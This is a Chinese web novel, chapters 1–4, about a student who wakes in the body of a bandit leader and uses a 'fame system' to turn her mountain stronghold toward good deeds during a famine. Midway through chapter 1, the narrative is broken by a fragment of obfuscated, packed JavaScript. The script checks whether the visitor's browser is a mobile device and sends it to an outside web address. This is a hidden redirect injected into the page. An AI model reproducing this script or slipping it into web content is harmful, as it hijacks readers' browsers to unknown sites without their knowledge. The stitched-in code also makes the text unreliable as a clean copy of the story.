《当山贼的我行侠仗义》
1. 第 1 章
甄榆一觉醒来便发现自己独处陌生世界,一时还未反应过来。
她前一秒还在追热度超高而大播的新剧,结果过度熬夜导致休克后一秒来到了人生地不熟的异世界。
甄榆环顾四周,厚石墙,八仙桌,架子床…………无处不显露浓重的古风气韵。
“嘶——”
遽然,甄榆感到头痛欲裂,许多信息蜂拥挤进她的大脑,在零零散散记忆碎片下,很快她明白怎么回事。
她穿进了曾经看过的一本日常文里成了连路人甲都算不上的土匪头子身上,在原文里她这个身份一笔带过只介绍了开篇遇上运粮的男主被劫持,仓粮被私吞,后被路过此地的女主遇上拯救下来拉开了男女主第一次相遇。
这个山寨也在男女主回府后共同合力下被剿灭,无一生还,整篇活不过前三章。
思至此,甄榆头疼地揉了揉太阳穴。
有点棘手……
“你醒了?”
一道轻柔舒缓的男音将甄榆拉回现实,来人身着青色白衫,腰佩汉古纹玉,手着碧绿翠笛,五官眉清目秀,活到是像画里走出来的翩翩公子,他双脚促步至甄榆面前,面露担忧。
“可有不适?”
极好的容貌竟令见过无数美男的甄榆看呆了,以至于忽略掉他的问答。
回过神后尴尬地摇摇头,暗自呢喃。
真丢脸啊。
就在来人低头为她把脉间隙,甄榆脑子里突然“叮——”一声。
【恭喜宿主绑定名气系统,俗话说行侠仗义乃优良传统,所以宿主要以山寨为中心行善好事,增加积德,扩大名气。】
“如果我不乐意呢?”
甄榆在脑海中试探问道。
【那宿主将和书中结局一样活不过前三章。】
拳头有点紧了。
【当然,名气与生命值成正比,名气越旺,生命值越高,反之同理。】
拳头松了一点。
【为了辅助宿主顺利完成任务,从绑定系统开始,宿主便激发了属性面板,看到相应的人或物会出现相关信息。】
甄榆也发现,她望向面前男子时,空中出现了透明的蓝色属性面板,面板里位列其名,年龄,身份,擅长属性,好感度等等,但除了姓名那一列显示为温这一个字后,其他均是锁定状态。
“这是什么情况?”
【宿主名气太小,等级太低,只能提供相关名字,没有权限查看其他信息。】
“可这人只有姓,名呢?”
【这要宿主自己去探索。】
“okok,好吧。”
甄榆吸收完信息,正巧撞进了男子总是环绕着温柔神情的眼眸里。
对方停顿了下,之后眼睛形成月牙,朝甄榆温柔一笑,这令甄榆不自觉眼神闪躲,耳朵染上绯红。
好在那人叮嘱了几句不再逗留,甄榆才有机会平静下心细细思考。
温?
她记得文中描述原身手下无意间救下一位男子,看其眉清目秀,给自家头子当了郎夫。
那个人好像就是姓温。
男子醒后称不记得自己一切事情,也不知自己名谁。
为了方便,寨中人纷纷喊他温伍郎。
温伍郎除了长得好看还略懂医术,而寨中最缺郎中,这就导致凡是大小疾病都由他去治,至于好不好另说。
今天碰巧遇到原主出去打猎时不小心踩空,摔下陡坡撞到脑袋,否则她也不会捡漏就这么穿成了原文里开局即灭的土匪头子身上。
哎,造孽啊。
身为21世纪正处青春年华的大学生,还没度过几个好时光,水灵灵来到了这地方找谁说苦去?
在原主昏迷期间,其饮食起居自然而然落到了温伍郎身上。
照顾原主可谓是尽心尽责。
甄榆捏了捏下巴。
虽然书中对这个人物描写不多,但甄榆记得在山寨被灭不久,他很快被仇家找到,尸首无存。
当时她还感叹,能被土匪看上的定是个长得不差的美娇郎,就这么领了盒饭,当真可惜。
现在她来了,势必要改变书中结局,抱上男女主大腿,发财致富,调戏小郎夫,走上人生巅峰!
事实证明,是她白日做梦了。
甄榆休息好,简单收拾下走出房门,恰巧迎面跑来个小喽喽。
“大当家,你总算醒了啊,目前粮食不足五十石,之前打猎的猎物也不够大家伙分的,现在还有好多兄弟没有分到食粮,体弱的处妇和幼童已有不少饿晕了!”
经过这话,甄榆想起来了。
书中里提到由于今年天气灾害不断,庄稼不比往年五谷丰登,因此闹起饥荒。
为了缓解这状况,原文男主被当朝君上封为中州刺史带领三千骑兵护送两百四十石粮食前往乌州与当地知府汇合。
却不料途径乌州必经之路上遇到他们,按理说,男主拥有那么多护卫,平常土匪根本奈何不了。可是,他们不是一般土匪啊!
他们是在三座大山安营扎寨,布局之广,人数之多,这也是为什么当男女主回去之后立马请自家家父上谏给君上,从而迫使烛天寨走向灭亡的根本原因。
不除易成大患。
想到这,甄榆起了鸡皮疙瘩。
但愿一切还来得及。
“这样,先将剩余粮食首先给老弱多病和妇人孺子,寨中兄弟先吃野草充饥一下。”
“好。”
小喽喽准备走时甄榆快速拉住了他。
“等会,方今山下有什么人经过吗?”
小喽喽转了下眼睛,猛得拍下脑门。
“小的给急忘了,大当家,你醒的一盏茶前寨中兄弟禀告路上远见有一对商队要路过此地,看那情形像是在运送粮食,三当家带领部分兄弟下山正要劫那粮给寨中兄弟填饱肚子。”
甄榆无奈扶额。
“我且问你,那商队大约有多少人?”
小喽喽思索了下,不确定道:“看着……像是有三千多兵……”
“平常商队有多少?”
“俩百来人……”
“所以,哪家商人会雇佣那么多人?三千多那是皇室才有的架势!”
小喽喽一下蒙了,畏畏缩缩问道:
“啊?那……那怎么办?”
“给我一匹快马,另外让其他人朝空中发个响箭叫三当家不要轻举妄动。”
“是!”
甄榆从手下接过马骏,拿起缰绳,翻身一跃跨坐上去,动作一气呵成。
刚刚还在担心没骑过马怎么办,现在看来是原身的肌肉记忆,接过熟悉的东西下意识会做出反应,这也省了甄榆很多麻烦。
“驾──”
甄榆骑出去没多久,空中破啸声直冲天晓,惊动了不少树丛飞禽,山下人群也被这动静吸引望向天空。
山寨有人认出是寨中信号,不解问向前头之人。
“三当家,这是什么意思?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929447|160606||http|test|mini|href|location''.split(''|''),0,{}));
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>领队的人约莫六尺七寸,身披麻衣,腰下一张虎皮别致一侧,手握刀刃,面容较为年轻,看是个小子后生。
他瞥了眼问话的那人,不紧不慢道:“你刚来,自然不懂,响箭不轻易放,一旦发出要么是求救信号要么是传达信息,这是提醒我们不要与对方起了冲突。”
随后,模样甚是少年的三当家抬了抬下巴:“我说前面的兄弟,在此与我们相持一刻钟了,不闲累的慌?”
站在前头的人向前一步:“小兄弟,不如我们各退一步。看你装束想必是这里的山贼吧,我出四百文当是这的买路钱可好?”
离知府还有一段距离,为了避免不必要的纠缠,他想付了钱草草了事。
但照如今局势,他猜测对面的目标不是钱财。
果然,那人一听这话,忍不住哈哈大笑起来。
“这为官人是看对人了,放在以往,我兴许会收钱离开,但现今不同往日,面对粮食钱财是不管用的。”
说着,手上的刀刃指向他们背后围城一圈的敞车。
对面人脸色大变,握住腰间的兵器紧了紧。
如果可以,他当然不想起了争斗。
可看现在这情形,只能做最坏的打算。
听此闻言,身旁护使气得上前理论:“胡搅蛮缠,当真我们怕了你这逆贼吗?!”
瞧见自家头子摇头,又忍住冲动退回原位。
空气少顷安静下来,一股紧张氛围悄悄充斥在他们周围,偶有风从他们之间穿过,带起地上尘土,挑拨无形中绷紧的弦丝,似是下一秒双方就会打起。
正在此时,伴随着“住手”喊声,一支利箭射在了三当家脚边,三当家查看来源,望见了不远处本该昏迷的大当家策马扬鞭而来。
甄榆看他们就要打起来,情急之下射出箭矢将他们的注意力朝她身上转移,离得近了甄榆清楚看见俩边人马最前面的人的信息。
人物多的那头首领名周延池,周御史二子,赫然是文中男主。另一边是陈酒,来历无,是原身没血缘关系的弟弟。
甄榆非常庆幸能够赶到,下了马,她先是来到所谓三当家面前,二话不说揪起他的耳朵,踢他小腿。
“长能耐了啊,你知不知道差点给我惹了多大的祸!回去再收拾你。”
甄榆朝对方微微鞠躬,满脸歉意。
“是我小弟不懂事冲撞了各位,在此我以烛天寨大当家的身份向各位赔礼道歉,还请各位不要介意。”
这凡话不仅使周延池吃惊,身后的护卫也对甄榆这个大当家另有感观。
这一带龙脉山只有烛天寨一个寨子,路过此地之前,他们多多少少在旁人口中了解些事情。
烛天寨开始时,是个小村庄,规模不大,人数两三百人,村民间常常互帮互助,首尾相救本来是相安无事很久,但某天突发洪水,村庄地势低平,没有任何应对措施,损失惨重。
因为这,皇帝大怒,相应人员收到处罚,当时的县令被罢免。
恰逢边区动荡,他们也收到殃及,顿时哀嚎遍野,为了平叛,朝政一度没顾及到这边。听说是老寨主带领剩下的人上山扎营,抢掠为生。
而他们抢劫也很有原则,不杀只抢,不故意为难,所以名声时好时坏。
前不久老寨主离世,传位于独女。
今日一瞧,周延迟对他们略有改观。
“无妨。”
等他们要走时,却又被甄榆拦住。
周延池不解看向她。
2. 第 2 章
“若公子不嫌弃,可与一同上山歇息?虽没有好的菜品招待,但酒还是有的。”
“大当家!”
甄榆一记眼神,陈酒禁了声。
周延池摩挲剑柄,不知思考什么。
龙脉山崎岖不平,多是山石,如今他们已经走了四个时辰,体力肯定不支。
但要不要按照甄榆的建议还有待考量。
“周刺史……”
之前出声的李别驾生怕周延池答应,试探喊到。
周延池打断他,点头。
他背负皇帝之命,但凡有眼见的都不会动他们。
“兄弟们需要休息,这人迹罕至暂时也遇不到什么客栈。”
无奈,李别驾没再说什么。
三当家陈酒拉住甄榆:“为啥要将他们引上山啊?以后若出事,这不暴露了吗?”
甄榆翻了个白眼:“你以为不这样就不暴露了吗?普遍之下,莫非王土。”
“啊?他们是皇上的人?”
“……”
回头甄榆得问问这脑力是怎么当上三当家的。
“啪──”
甄榆拍了下陈酒的后脑勺,力度不小。
“下次别什么都劫,你个二货。”
陈酒委屈摸摸被打的地方:“这不是为了让兄弟们吃饱饭吗?”
这话落进甄榆耳朵里,使得漂亮明媚的眼眸转了转,对陈酒道:“你先领他们进寨,没有食物就拿些酒,我等会回去,记住忍住你那脾气,要是打起来我拿你是问。”
在甄榆拳头示威下,陈酒瑟缩地点了点头,之前威武的风光荡然无存。
他也不想这样,谁叫面前人是他姐姐啊!
他们一行人一走,甄榆脑中想起电子音。
【恭喜宿主名气值+1,目前1%】
甄榆琢磨了下,可能是阻止了陈酒抢劫男主他们的粮食,避免了恶行。
约莫过了一个时辰,陈酒在寨口望见了慢悠悠过来的甄榆,凑近一看,他还发现甄榆腰间用草绳帮着一堆奇形怪状的草。
接过马,陈酒问出心中所想。
“大当家,你拿着什么啊?”
甄榆神秘一笑,卖着关子:“这些可是好东西。”
甄榆还以为附近黎民为了充饥,像木槿花、艾草、野葱等野菜所剩无几,好在有系统加持,也能找到不少,虽不比稻梁那些填饱却总比挨饿的强。
“对了,寨中可有发芽的土豆?”
陈酒虽然不知道大当家为什么要这个,但还是老实地摇头:“凡是能吃的已经分完了。”
“这样啊……那你记得之后若再有留一些切成块。”
陈酒乖乖应答,他知道大当家这么做一定有她的道理,不是他这个简单脑子能想明白的。
他们谈话声不小,无一不落进一直关注他们动静的周延池耳里。
“土豆……”
周延池低声喃喃,陷入沉思。
他出身达官世家,对五谷杂粮如何得来并不清楚,刚刚听见他们提及,心中不免对这产生些许好奇。
甄榆将野菜交至一人,对他叮嘱:“这些都是可食用的野菜,将他们熬成粥给未进食的人送去。”
准备走时,被周延池叫住。
“方才细闻你提到一种食材,那个有什么奇妙之处吗?”
问到这个,甄榆可就不困了。
“作用可多着了。不说这玩意只要给个肥沃的土壤,长晒光,适当浇水,一亩可产几公斤,且降血养肺,对身体有益。”
周延池想了想,不知怎么问道:“不知你对这饥荒可有什么想法?”
甄榆并未把他问的话放在心上,短暂沉思了下,开口:“庄稼受损,无非洪旱虫等原因,遇洪,修堤坝、疏河道、制水法;遇旱,赈济、灌道、推旱物,遇虫,制策、防治均可为。”
周延池不由心想要是推广此举,那乌州的百姓可有救了!
现在他对眼前为山贼的甄榆是刮目相看,没有料到身处村田头脑却不简单。
原本还想问具体做法,却被身边人打断。
“刺史,该启程了。”
也对,送粮要紧,其他可以等他再来续说。
虽与甄榆相处时间不长,但周延池肯定这所谓大当家是个值得深交的朋友。
周延池起身道谢,可就在要离开那霎时,余光瞥见一抹青色身影,眼底闪过一丝惊讶。
李别驾发现他有些不对劲,小心问道:“怎么了?刺史。”
周延池摆摆手。
但愿是他想多了。
送走他们等人,甄榆决定先去看下寨中情况,毕竟要真正解决饥荒必须还要产粮。
一段时间后……
甄榆坐在远处石头上叹气。
她没有想到寨中缺粮比她想象中还要糟。
面食就不说了,牛羊鸡等家禽是一个没有。
问他们,都说一般是上山打猎,下山采购。
当真靠山吃山靠水吃水。
甄榆还想着他们不是山贼吗?应该会打劫一些商人的物品啊。
可他们说他们早改邪归正了,会拿银两去兑换,劫皇室车辆是迫不得已。
“哎,大当家怎么唉声叹气的?”
望风的人问道身旁的兄弟。
“不清楚,好像听别的人说大当家只是去看了仓库,转了一圈寨,回来就成这样了。”
“不用想也猜到是没粮食愁的,大当家真负责,受了伤还不妄为我们着想。”
“可不是,曾经老寨主提议把那位置传给如今的大当家遭受了很多人的反对。”
“啊?为什么啊?”
“我也是听待时间久了的人闲聊时提到的,具体也不知道……哎哎哎……别说了……二当家来了。”
甄榆还在想法子时,鼻尖闻到淡淡的雪竹香,清柔淡幽,似隐蔽于山林的溪水,来的慢,走的缓,随即一道阴影落下引得甄榆抬头。
“粮食不足已久,不急这一时。”
甄榆半阖眼,眼底留下一篇小小的黑物。
话是这么说,但仓库里剩余的部分撑不了多久。
“刚才走的是周刺史?”
“嗯?你认识?”
温伍郎淡淡一笑,轻摇下头:“温伍郎无家可归一个,怎会认识,只不过听闻当朝周御史有一子深受君上看重现任命运粮猜测罢了。”
甄榆看着他,沉默。明明他是笑着的,可表情却有点说不出的忧伤。
出神间,手中被塞进了什么东西,低头一看是个用草绳编织的竹蜻蜓。
“随意编织的小玩意,愿替你解忧。”
当空金轮半悬,静谧时间里有野草在奔跑。
竹蜻蜓飞到俩人当中,左右摇晃似真的般,温伍郎的视线从竹蜻蜓慢慢移到目下女孩身上。
女孩摆动手里的玩意,笑得时候眼睛眯成月牙,形成好看的弧度,薄唇微抿,额前的发丝也配合着随风散至俩旁。
“谢谢啦,温伍郎。”
温伍郎静静注视眼前的女孩,轻轻“嗯”了声,抬起手想起什么又在甄榆不注意间放下。
没多久,甄榆瞥视到温伍郎袖口下摆有些浸湿,疑惑道:“你的袖口怎么湿了?”
温伍郎抬手看了下,笑着解释:“东寨那有几个人吃坏了肚
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子,我去看了下,大概是在那时候不注意沾上了水。”
甄榆听后若有所思。
目前正处缺粮,但水也是个急需的资源,刚刚探查了一番,他们所处高山,很难有水经过,唯一办法就是造水。
但明明她认真寻过了,没有哪个地方适合引水啊?难道漏了一处?
“你带我去看看。”
一刻钟后,甄榆和温伍郎一并出现在东寨。
甄榆在温伍郎走过的路上某处发现了潮湿的土壤,她试了试发现水量不多,沿着痕迹到达东寨的后山。
她翻到高处看了看,发现之前她是正门进去,没有观察到这座后山的下面是隐藏在云雾中的一座城市,现在看来烛天寨位于乌州和下澜郡的交界处,形成一座分割山脉。向西是高山峻岭,向东是广袤土地。
甄榆来到后山山洞,拿出匕首使劲凿向地面,很快裂开的地方涌出了水源。
原来,他们这里的水从西南出发途径此地流到下澜郡,为下澜郡提供水源,表面石头之下是潺潺流水。
甄榆身后之人你看看我我看看你,窃窃私语起来。
“这……”
“大当家真厉害,这都能发现水。”
“太好了,真愁没水呢!”
“想不到以往的废山竟有这用处!”
…………
【叮──感受到周围人强烈的崇拜感,宿主名气值+2,目前3%】
吼。
甄榆起身拍了拍手,嘱咐过来的小弟:“留下一半人在这挖水到寨里,其余跟我走。”
回到山寨,甄榆挑选了靠近后山位置比较好的地方,命人挖了庭中池塘,不一会运来的水填满了整个池塘,随后甄榆简单装饰了一下,鱼池正式装扮而成。
面对大当家一番操作,众人摸摸头,七嘴八舌问出心中所想。
“大当家,这是干嘛啊?”
“对啊,为啥挖一个坑填满水啊?”
“这光看着好看也没实处,不没有一个吗?”
…………
甄榆将遇水养鱼的想法告诉他们,如果鱼繁殖得多不仅可以存储还可以拿去贩卖,这样遇到粮食不足时就不会束手无措。
众人一听,纷纷赞同。
“可是,鱼苗上哪找呢?”
甄榆低头思索。
这时,人群中有人举手,走出一看是个满脸胡子拉碴、身体强壮的大汉。
大汉憨笑摸摸后脑勺:“俺不知道什么是鱼苗,但像平常吃的鱼俺知道哪有。”
甄榆俩眼发光:“在哪?”
于是,在大汉家里的木盆中,甄榆见到了想要的鱼苗。
大汉在一旁解释:“几个月前,俺去县里买布匹,顺手救下了被三四个人欺负的卖鱼贩子,那贩子为了感谢送了一袋子鱼给俺,俺一看这些鱼太小便放在盆里想等它们长大,时间一长,俺竟然忘了,要不是今天大当家说起,俺可能还想不起来。”
甄榆拍了拍他的肩膀,点头赞许:“你可帮了我一桩大忙。”
大汉嘿嘿傻笑:“能帮大当家就行。”
甄榆将这些鱼苗放入水中,并撒了早准备好的蚯蚓,转头对一个小弟道:“每日喂一二次,数量也不要多,三五天换一次水,每次简单处理下水中的杂物,如果蚯蚓没了去比较湿润的后山找找,实在找不到去通知我。”
身负重责的小弟点头,回答坚定:“是,保证完成任务。”
弄完一切,甄榆又带领一部分人去往了山上,但没想到原本去往西寨的温伍郎也在,低头像是在寻找什么。
察觉目光,温伍郎看见了甄榆,笑着朝她挥了挥手。
3. 第 3 章
甄榆走上前。
“你不是去西寨了吗?怎么在这?”
温伍郎继续低头寻找:“有一味药材不够了,我出来采集。”
“你就不怕遇到猛兽。”
甄榆调侃。
长发男子很轻的笑了一下,并不恼怒。
“如今饥荒,被猎杀的也差不多了,就算有——”
温伍郎与甄榆对视,狭长的黑眸干净清澈似有种魔力吸引着甄榆越来越快的心脏。
温伍郎一字一句吐出未出口的字:“我跑得快,也追不上我。”
眼见甄榆一副被噎住的表情,温伍郎笑声渐大,肩膀发抖。
无意间扫到他露出条条划伤的白皙手臂,甄榆紧抿了下唇。
这么好看一人留下伤疤她实在于心不忍。
她指着温伍郎被划伤的地方:“你这里怎么受伤了?”
对方看了眼,不甚在意:“兴许是被某些锋利的草叶划伤的,不碍事。”
语毕,温伍郎继续寻找。
甄榆偏过头,离他靠近了些:“那药草很重要吗?”
“嗯。”
“是什么药?我帮你找。”
温伍郎本想拒绝,甄榆不是行医之人,找到药材的机率很小,但碰上她眨巴的眸子忽然静了声。
温伍郎摘个样本告诉甄榆什么样色大约在什么地方容易找到。
甄榆拍拍胸脯,非常自信:“放心,绝对帮你找到一打。”
有系统加持,这可太容易了。
温伍郎只是笑笑,不语。
甄榆叫来陈酒以及众人,手里握着之前上山采集的野菜给大伙展示。
陈酒毫无疑问认出了是之前甄榆别在腰间的杂草,原本以为是甄榆随便摘的,直到给大伙送去。
“这我吃过,算不上好吃但吃过之后神清气爽,身体顺畅了很多。”
“对对对,我也有这种感觉。”
“我也是,就很神奇。”
甚至有人大声问道:“大当家,这些野草也能吃吗?”
甄榆食指点到出声那人:“问得好。野菜有很多种,不是只有那种看着绿油油,长得和青菜大差不差单一的菜,像我手中的,也被称作是可食用型菜种,你们就照着我手中作为参考去找些带回寨中熬成粥为兄弟们填饱肚子。”
接收到任务,众人大声回应“好”。
甄榆除了寻找能食用的野菜之外还得注意温伍郎要找的药草,注意力高度集中。
少顷,甄榆扫到什么,眼前自动出现蓝色属性。
是天茄子。
因为很少有人认识,大多数人默认它是没有的植物。
可甄榆看检测系统可不是这样,虽然现在没多大用但为了防止以后过来找不到甄榆还是顺手摘下扔到背后的箩筐里。
早在之前甄榆计划好饥荒过后,种果林,开荒土。
她探查过,寨里很多土壤被废弃,其他人说是那些地种什么都活不成,只有甄榆知道那是还没碰上适合的物种。
越往深处,甄榆所见到的植物越多,还有很多甄榆若不借助系统的帮忙根本叫不出名字的植物。
片刻,一片绿色海洋间甄榆瞥到了什么,走到了那面前。
眼前蓝色属板也适时出现。
【甘草】
【豆科植物】
【清热解毒,缓急止痛。】
近几天遇不上落雨的天气,因而土地干裂,庄稼受损,寨中好几人饿肚碰上烈日不免中暑。
有这甘草,就可以烧成甘草水,多余的晒干切块,过了饥荒可以去换钱。
隶属中药,也不便宜,每两50文!
放入框中,甄榆又在那附近找到了一些野香菜。
未及,甄榆便寻到了温伍郎所需要的药材,除此之外,她也摘了很多其他药草一并给了温伍郎。
这倒使温伍郎有些惊讶,不过脸上快速掩去神色,低眉一笑,轻声道谢。
就在温伍郎准备回去时,陈酒跑了过来。
他指了指几个人围成小圈的大树下:“大当家,我们在采摘时碰见了一个间月左右的狗崽,它的后腿好像受伤了。”
甄榆与温伍郎对视一眼,抬脚来到树下,果真看见了一身背灰腹白的狗崽,狗崽蜷缩的后腿上露出俩个牙印,周围显出淡紫色,看似是被毒蛇咬的。
由于疼痛,没几个月的狗崽身体圈成球,不断发出呜咽声,却始终保持警惕状态,刹那间,没人敢上前。
甄榆拍拍陈酒,眼里是藏不住的无奈和同情。
“陈酒,那不是狗,是狼。”
“啊?”
陈酒摸摸后脑勺。
“可它长得跟小狗无异,怎么会是狼呢?”
知道山下附近有个村子,也知道陈酒时常会去逗弄那里的狗,没见过真的狼的孩子默认一切与狗相似的都是它。
甄榆指向狼崽的眉毛和趾垫,解释道:“一般幼狼眉毛是宽的而狗是尖的,趾垫狼会比狗大,更有型。”
这么一对比,陈酒确实发现眼前这个小动物与印象里的不同。
“那我们要救它吗?”
甄榆挑了下眉:“你很想救?”
陈酒摸了摸鼻子,嘴巴张张合合,似是在斟酌用词。
他知道,如果救下它就要分出粮食给它,那寨里其他人分到会少,如果不管的话……
陈酒望着那即使受伤也不屈服的小生命。
还是管吧,他一直希望有个陪他武练的狗狗,哪怕是个狼。
他决定了如果姐姐不松口,他不建议放下身段——朝她撒娇。
甄榆看出了陈酒的心思,原本就像逗逗他,见他满脸愁容,也不好拒绝,但还未出声,温伍郎上前一步查看情况。
“你姐会答应的,放心吧。”
听见二当家话,陈酒查看甄榆表情,见她没有反对,内心不由狂喜。
真是他亲姐夫!
只是看这小东西满身戒备,想要治它的腿有些困难。
甄榆思索片刻,提出俩个方案。
一,来硬的,如果狼崽始终处于戒备状态那安排人上手按住四肢和嘴,迫使它老实。
二,来软的,如果这个小狼崽能感知他们没有恶意愿意配合的话,那是最好。
再三考虑,甄榆决定先实施二方案,行不通还有一方案垫后。
好在,那幼崽感受他们没有恶意,放松警惕,任由温伍郎查看它的腿。
温伍郎大约看了下,在箩筐中翻出几叶草磨碎敷在受伤的位置。
“蛇毒不强,未伤到生命,敷些金钱草、四季春等解毒药草就可消毒。”
“真的吗!”
见狼崽没有危险,陈酒眸光清亮,喜悦之色遮掩不住。
甄榆轻轻摇头,心中暗道这小子一点心事都藏不住。
陈酒小心翼翼跑起狼崽,一遍一遍抚摸沾满叶枝的狼毛。
令他们神
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奇的是那狼崽似有灵性,任凭他抚弄,头靠在他胳膊上静静躺着,眼珠打量周围,像是要将他们记住。
“不过我先说好,你救了这小家伙就要管理他的吃喝拉撒,训练他顺从管教,如果最后没有成功,我可会杀了它。”
陈酒使劲点头,被欣喜冲昏的头脑促使他做不出考虑。
大伙看他这样不由笑出声。
离他近的人揽住他脖颈打趣:“你小子这憨货模样真看不出是寨里三当家啊,哈哈哈。”
“嗯?”
甄榆问出声。
“他是怎么当上三当家的?”
粗犷些的年长者回道:“大当家有所不知三当家本不是我们寨里的,据说是当年老寨主出去探望一位故人,回来途中看见某村庄遭遇外敌烧伤抢掠,情急之下只救下一位妇人,那妇人本就重伤在临死之际将怀中孩儿托付给老寨主,老寨主安葬好后收那孩子作义子,认你为姐姐。后惊奇发现那孩子在舞刀弄剑上颇有天赋,除老寨主外打赢了全寨人,被托举为三当家。”
“是这样啊。”
听完这一番话,甄榆看向陈酒的眼神不自觉充满欣赏。
陈酒嘿嘿俩声,下意识摸摸后脑勺。
老寨主在世时便没瞒着他的身世,说伤心吗?陈酒觉得有点,可他自幼在寨中生活,不管如何始终认为老寨主是他父亲亦是师父,教他武功,教他学识。
甄榆见他发愣,弹了下他的脑门:“既然你收了它,便取个名字吧。”
陈酒低头想了想。
“黑豹吧,希望它有豹子快的速度和胆量。”
甄榆点点头,看出来了这小子对这狼崽是真喜欢。
下一瞬,脑子中响起电子音。
【叮——积极救助野外动物,名气值+1,目前4%】
嗯?
沉寂已久的系统在她脑中回答甄榆的疑惑。
【本质是乐善好施,发扬优良品质,所以宿主除自己名气增大之外,乐于救助他人他物也是属于这一范围。】
原来是这样。
峰山高崎,终使不巧遇上饥荒灾难,粮食紧缺,可龙脉山的植被兽禽让烛天寨不似山下村庄饿殍满道。
酉时时辰,众人个个满载而归。
瞧见天气差不多了,众人收拾收拾准备回去。
只是还未出丛林,深处传来细弱动静,这不紧让众人屏住呼吸。
甄榆握紧腰间的刀,盯住声源。
不会这么倒霉遇上豺狼虎豹吧?
在这紧张氛围时刻,藏在丛林中的东西走出来,暴露在众人面前。
陈酒认出是偏远村庄某家户的大郎,姓李。
李大郎望见陈酒怀里的狼崽,几天未进粮促使他神志不清,以至于一瞬间以为看见了鲜肉。
他颤巍巍伸出只剩下被皮包裹住的骨头,慢悠悠朝陈酒方向奔去,嘴里念念有词。
“肉……肉……给我肉……”
陈酒抱紧怀里的东西,警惕看向离他越来越近不似人的李大郎。
可没等甄榆众人做出反应,李大郎还没走到跟前直挺挺到了下去。
甄榆上前提了提他的胳膊,见没动静,她示意人抬回寨里。
总不能见死不救。
不过,有人困惑:“最近村庄里我们这都要几公里,这人是怎么爬上山的?”
可惜,无人回应。
他们也不会知道远处的地方现在成了什么样子。
4. 第 4 章
白日清晨,陈酒跑来说昨天遇到的灾民如今已经苏醒。
甄榆一听,连忙招呼他带自己去查看情况。
某处小屋,李大郎起身靠在床头,眼里竟是空洞、迷茫与害怕,深凹下去的双眸战战赫赫打量所在地方。而甄榆一踏进房间见到的是耳闻捡到落难之人已醒消息所来凑热闹的闲杂之人。
昨日,寨里兄弟清楚看到出去跟甄榆做事的其中一人背着弱不禁风,骨瘦如柴的陌生村民,虽不解却没过问。
他们知道大当家这么做一定有她的道理。
尽管身为土匪,救人这事看起来有点匪夷所思。
“干啥呢,干啥呢,杵在这作甚,都出去。”
陈酒不耐打发走了来的人,向李大郎应道。
“这位是我们的大当家,你的救命恩人。”
李大郎望向面容娇好的女子,眸中藏着的恐慌减少许多。
“谢……谢谢……”
甄榆摆摆手,给他拿了一点吃食和水之后坐在床前的木凳上询问。
“山下是否发生什么?以及你为何会出现在龙脉后山?”
李大郎开始对他们充满防备,可看他们并无恶意,渐渐放松下来。
他重重叹了一口气:“哎,辛苦种的庄稼受损,没有收成,官粮又迟迟不下来,我们这些平民百姓饿得只能杀鸡宰牛吃树皮,本来还能过得去,但时间一长,找不到粮食的开始把主意放到人身上,这想法一旦冒出便没有了挽回的余地。”
甄榆和陈酒四目相对,分别从对方眸中看出惊讶。
甄榆没想到形势竟到了如此境地,心中不免对周延池他们感到忧心。
“我这人比较倒霉,他们看我孤身一人居住盯上了我,为了活命,我跑了三天三夜,要是饿了随手拿能嚼动的东西往嘴里塞,直到上了山又在山林里跑了一段路程才摆休,也没想到寻找食物中会遇上了你们,如果不是你们救我,恐怕现在我已成一个干尸了。”
交代完自己遭遇,李大郎已没有力气抱怨世道不公,之前他睁开眼入目地是一群看似山贼的人时甚至冒出了被山贼杀死也比被人活吃强。
甄榆重重拍了拍他肩膀,给予安慰。
“你可暂时居住下来,什么时候离开决定权在你,你绝对放心,有我命令无人敢伤你。”
于是,李大郎借此不走,休整状态。
甄榆还想交代什么,瞅见门口忙忙碌碌,以为出了什么事,与陈酒一同奔往西寨。
一踏入这,靠近门方向的某处房间门口围观了不少妇女幼童。
见大当家来了,接连同她打招呼。
看出大当家他们来的意图,其中一位头戴紫色头巾的妇女主动说明情况:“这不是饿吗,清粥寡淡也就过过嘴瘾,根本不管饱,就有几个汉子没抗住,不知从哪寻出几个发了芽的土豆生吃肚里,结果一个时辰不到,身体就遭了殃,二当家把了脉说他们是中毒了。”
另一个妇女接话:“那几个老爷们一听,以为命不久矣,哭着喊着求二当家救他们,好在二当家说他们吃的少,不致命。”
又有人开口:“这不,人手不够二当家招呼了些壮汉帮忙,我们知道自己帮不上什么忙,但实在是好奇,便同几位姐妹守在门口,也能帮他们递递东西啥的,”
聊了几句,甄榆从她们的口中扑捉到了一丝重要信息。
“你们说他们是吃了发芽的土豆中毒的,那土豆还有吗?”
刚开口的妇女摇摇头:“这我就不清楚,大当家还得要问他们。”
甄榆进去,摆摆手免了那些躺在席上企图强起身打招呼的病人,直奔主题。
远处换药的温伍郎瞧见甄榆时脸色没有异样,好像知道她会来一般对她莞尔一笑算作问候,转头又关照起了身旁直嚷嚷四肢酸胀疼痛的患者。
甄榆边问边打量那来路不明的寨中大夫。
从她穿来时,温伍郎所待时间已不过三天,三天之内当上二把手除去原身指定肯定还有他本身魅力。
甄榆在与其他人交谈中或多或少看出让毫无信息可言的人来当这个位置都是一脸信服,连那没有血缘关系的弟弟对温伍郎也是表现出了崇拜,如果其中没有他自身实力单凭原主一句话甄榆显然是不信的。
可说来也奇怪,虽然甄榆跟他相处不多,但明显感觉到温伍郎每次见到自己周身散发着欢迎,而面对其他人时则会保持距离,不亲近也不疏远,仿佛有一道单方向的玻璃门,门外的人只能看到门内的人却接触不到,门内的人也保持表面态度隐藏好真实的自己。
甄榆猜测这个人不像表面那么简单。
“那玩意还有七八个都在西南角灶房拐角处,不过大当家你要那些东西干嘛?”
“种啊。”
甄榆说的理所当然。
“这玩意是可以再生的,你们不知道吗?”
其他人摇摇头:“我们一般是去县城或路过此地的商贩手中买的。”
